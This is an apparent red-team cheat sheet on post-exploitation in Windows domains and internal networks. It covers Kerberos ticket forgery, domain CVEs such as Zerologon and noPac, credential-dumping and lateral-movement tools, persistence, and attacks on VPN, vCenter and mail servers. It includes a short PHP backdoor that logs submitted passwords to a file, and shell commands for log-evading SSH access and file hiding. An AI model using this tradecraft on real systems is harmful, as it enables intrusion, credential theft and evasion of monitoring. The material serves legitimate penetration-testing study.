Skip to content

5. Post-Exploitation and Internal Network Lateral Movement

5.1 AD Attacks and Privilege Escalation

Credential fundamentals: NTLM flow → winlogon.exe receives the password → lsass.exe compares against the SAM

Ticket types: Golden Ticket / Silver Ticket / Diamond Ticket / Sapphire Ticket

Delegation attacks: Unconstrained delegation / Constrained delegation / Resource-Based Constrained Delegation (RBCD)

Key CVE quick reference: | CVE | Name | Core principle | |-----|------|---------| | MS14-068 | PAC forgery | the KDC does not validate the PAC signature algorithm → forge a high-privilege PAC (512/520/518/519) → prerequisites: DC not patched with KB3011780 + a computer in the domain + domain user password and SID | | CVE-2020-1472 | Zerologon | AES-CFB8 encrypts all-zero plaintext → 1/256 chance of all-zero ciphertext → NetrServerPasswordSet2 sets an empty password (516 bytes of zeros → empty password) | | CVE-2021-1675/34527 | PrintNightmare | RpcAddPrinterDriver does not require SeLoadDriverPrivilege → SYSTEM RCE (Print Spooler service) | | CVE-2021-42287+42278 | noPac | machine account name does not end with $ → create an account with the same name as the DC → request a TGT → rename → S4U2Self → high-privilege ST. When MS-DS-Machine-Account-Quota=0, write permission over the account is required (GenericAll / domain-join account) | | CVE-2022-26923 | ADCS | DNSHostname modification → certificate spoofing |

Privilege escalation via WSUS/SCCM: - WSUSpendu - in-domain patch update server, principle similar to an EDR console pushing files and commands - sccmwtf - push PowerShell

Privilege escalation via Azure AD: Azure AD Sync → obtain the sync account → DC Sync

Attacking the mail server: a domain admin has logged in / go through emails / WriteACL permission → grant yourself dsync rights (PrivExchange)

Bastion host / ops machine: steal passwords via a web backdoor

Steal passwords via a web backdoor: 

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $data = $username . ':' . $password . PHP_EOL;
    file_put_contents('users.txt', $data, FILE_APPEND | LOCK_EX);
}

Dump hashes from servers the domain admin logs into / find password lists / find privileged group users (Administrator/Backup Operators)

NTLM relay tools: Responder / Inveigh / multirelayx.py / PrinterBug / PetitPotam / DFSCoerce / ShadowCoerce / PrivExchange / Coercer

Gain domain controller privileges via Distributed-COM-Users/Performance-Log-Users membership: Reference

Analyze Group Policy: gpoParser

In-domain automation: PIGADVulnScanner

5.2 Server Privilege Escalation

Potato series principle: - SeImpersonate: impersonate the client after authentication (Windows 2000 SP4 / services started by SCM / COM infrastructure / local administrators / local service accounts) - Location: gpedit → Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment - This privilege is assigned to threads

  • COM fundamentals:
  • IUnknown interface: QueryInterface (dynamic_cast) / AddRef (reference counting) / Release
  • COM events: event_source / event_receiver
  • BSTR: an extra 4-byte length field precedes the allocation
  • Memory: CoTaskMemAlloc / CoTaskMemFree

  • __uuidof / IID_PPV_ARGS / SafeRelease / CComPtr (does not explicitly call Release)

  • Rotten Potato:

  • SSPI (Security Support Provider Interface): NTLM SSP (Challenge/Response) / Kerberos (ticket)
  • CoGetInstanceFromIStorage
  • Reference: RottenPotatoNG / Foxglove Security

Kernel vulnerability privilege escalation

5.3 RPC-Based Internal Reconnaissance and Lateral Movement

Lateral Movement Tools

Tool Method
wmiexec-Pro Win32_ScheduledJob
NO445-lateral-movement Win32_Process
WMIHACKER WMI command execution
wmiexec-RegOut registry output echo
SCShell ChangeServiceConfigW
WMIReg StdRegProv
rpc2socks SOCKS proxy
ms_scmr file upload
smbtakeover release 445/tcp binding
dcomhijack DCOM-related DLL hijacking
TaskSchedulerMisc MS-TSCH scheduled tasks

Reconnaissance

Tool Method
RPCSCAN ms-epmap
EFSRPCrpc EFSRPC-ping

RPC Tools

Tool Purpose
RPCForge RPC fuzzing
WinObjEx64 Windows object viewer
serviceDetector connect to 445 to query installed services via ms-lsat
RPCMon monitor RPC
WFPExplorer Windows Filtering Platform objects
COMThanasia COM object analysis

5.4 Internal Credential and Password Harvesting

Tool Function
PassTheChallenge Credential Guard bypass
Pypykatz Python mimikatz
ADFSRelay ADFS authentication relay
NTLMRelay2Self web relay
Lsass-Shtinkering Windows Error Reporting service
rbcd-attack resource-based constrained delegation
Darksteel in-domain automated reconnaissance
SharpUserIP extract login logs from DC/remote → domain user IP
ADExplorerX AD browser
Dumpert System Calls dump (legacy)
certsync certificate abuse
lsass-dump simple dump demonstration
UserRegEnum_0x727 enumerate logged-on users across all computers with standard domain user privileges
DumpHash clean hash export (requires high privileges)
Plog mimikatz password export module
SharpDPAPI read-only DPAPI
DragonCastle DLL hijacking to read hashes
EZDump simple C# export
ETWHash read hashes via ETW events
ntlmthief read hashes via SSPI
PPLFault attack PPL process protection to read hashes
ADCSKiller ADCS exploitation tool
RToolZ dump PPL Lsass via the ProcExp152.sys driver
SharpToken find tokens leaked by all processes on the system
RDPCredentialStealer Detours API hook to read RDP login credentials
ListRDPConnections list all RDP connection records
SharpDomainInfo automated reconnaissance
spraycharles slow password spraying
GPOddity GPO exploitation
SharpExShell -
proc_noprocdump -
adeleg enumerate all delegations
NativeDump -
LeakedWallpaper extract hashes from session
LsassReflectDumping -
ShadowDumper export hashes via multiple methods

5.5 Persistence

Windows Backdoors

Linux Backdoors

  • PAM backdoor
  • tsh backdoor

Modify Source Code to Insert Backdoors

5.6 Internal Network Core Device Attack and Defense

NAS Attacks

  • Weak passwords (web management interface) / unauthorized access / known CVEs (vendor-specific)
  • Shared files (SMB/NFS) → sensitive documents (contracts / password lists / architecture diagrams)
  • Sync service vulnerability → RCE → lateral movement to other internal assets

Mail Server Attacks

  • Exchange: ProxyLogon/ProxyShell/ProxyNotShell series / rule-based backdoors
  • Coremail: exploitation of historical vulnerabilities / weak admin panel passwords
  • Go through emails to find: domain admin credentials / VPN account passwords / internal system addresses / confidential attachments
  • Combined with Outlook rules for persistence / mail forwarding rules for data theft

Bastion Host Attacks

  • JumpServer historical CVEs / weak admin panel passwords / credentials leaked in session recordings
  • Pivot through the bastion host to all managed assets (full-path lateral movement)

vCenter Attacks

  • CVE-2021-21972 (vSphere Client RCE) / CVE-2021-21985 / CVE-2021-22005
  • SAML token forgery (Golden Ticket variant) → control all VMs
  • Obtain all VM snapshots / memory dumps via vCenter → extract credentials
  • Tool: vCenter-Attack

VDI Cloud Desktop Attacks

  • Citrix/VMware Horizon/RDP gateway vulnerabilities
  • Cookie leakage → connect to desktops directly without authentication
  • Shadow file theft (BrowserPivot)
  • Login credential capture (RDPCredentialStealer)

VPN Device Attacks

  • Fortinet: CVE-2022-42475 / CVE-2023-27997 / CVE-2024-21762 → SSL VPN RCE
  • Palo Alto: CVE-2024-3400 → GlobalProtect RCE (no authentication required)
  • Ivanti: CVE-2023-46805+CVE-2024-21887 → authentication bypass + RCE
  • VPN cookie theft/replay → direct access to the internal network
  • Persistence: implant a backdoor into VPN device firmware → long-term man-in-the-middle

5.7 Non-Domain Internal Network Penetration Testing

Entry Methods

Entry Method
Web initial access (Linux getshell) re-crawl the web source → sensitive info (secret keys / hardcoded values / URLs) / pull the code back for review → more vulnerabilities to maintain access / find web-reachable directories → drop a shell
VPN exploit to get a shell / vulnerability leaks usernames and passwords (Fortinet) / vulnerability leaks cookies (cloud desktop → ransomware) / traffic clearly visible → quickly find the jump box
SSO DNS hijacking to bypass two-factor authentication / watch for device login alerts / OAuth vulnerabilities
Standalone Windows registry reconnaissance / find sensitive files / RDP hijacking

Post-GetShell Operations on Linux

  • Find key local info: hosts / history / .viminfo / SSH private keys
  • PAM to capture SSH passwords (build the SO file locally and compile it yourself)
  • Scan memory: dismember
  • Platypus
  • Find directories: find / -writable -type d 2>/dev/null / find / -perm -222 -type d / find / \( -perm -o w -perm -o x \) -type d
  • Check iptables
  • Ghost login: ssh -T root@192.168.1.1 /usr/bin/bash -i (no pseudo-terminal allocated, no logs, but a connection is established)
  • Search for specific strings: grep -rn "jdbc:oracle" /opt/

Windows Reconnaissance

  • Registry: Nemesis
  • Sensitive files: FileSearch / searchall / msi-search / FindEverything
  • Search a specific disk: dir D:\ /S /B | find "orange1.jsp"
  • Full disk search: cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "ToDesk_Lite.exe""
  • RDP hijacking: RDPCredentialStealer / pyrdp / RdpThief
  • History: doskey /history in cmd / Get-History in PowerShell
  • RAT/C2 development: command execution + directory listing + cloud OSS + Git
  • Modify file timestamps: attrib +s +h +r 1.txt

Data Exfiltration

Lateral Movement

  • Web ports: common web ports / web ports discovered during server reconnaissance (logs/connections)
  • Other port vulnerabilities: Docker-TCP-Scan / perform dictionary password spraying (connection tool → teamide) / database getshell / Kubernetes:8443
  • Critical network infrastructure / gateways / DNS / device weak passwords: DNS hijacking (client red team / international hotels / Ettercap|HTTP) / switch weak passwords (cirtx) / CVE-2024-20399 Cisco RCE
  • Brute-force domain names

Finding the Domain

  • KeyTabExtract
  • resolv.conf (DNS) / /etc/krb5.conf / smb.conf / cifs mounts / find NAS / find AD-authenticated web services / source code + server config files
  • Find VDI (common domain recon commands; avoid any involving requests to empty servers) / find WSUS / find SCCM / find EDR-managed endpoints
  • Check network connections: 139 (dual NIC) / 445 / 389 / 636
  • GitLab, etc...

TeamViewer / Sunlogin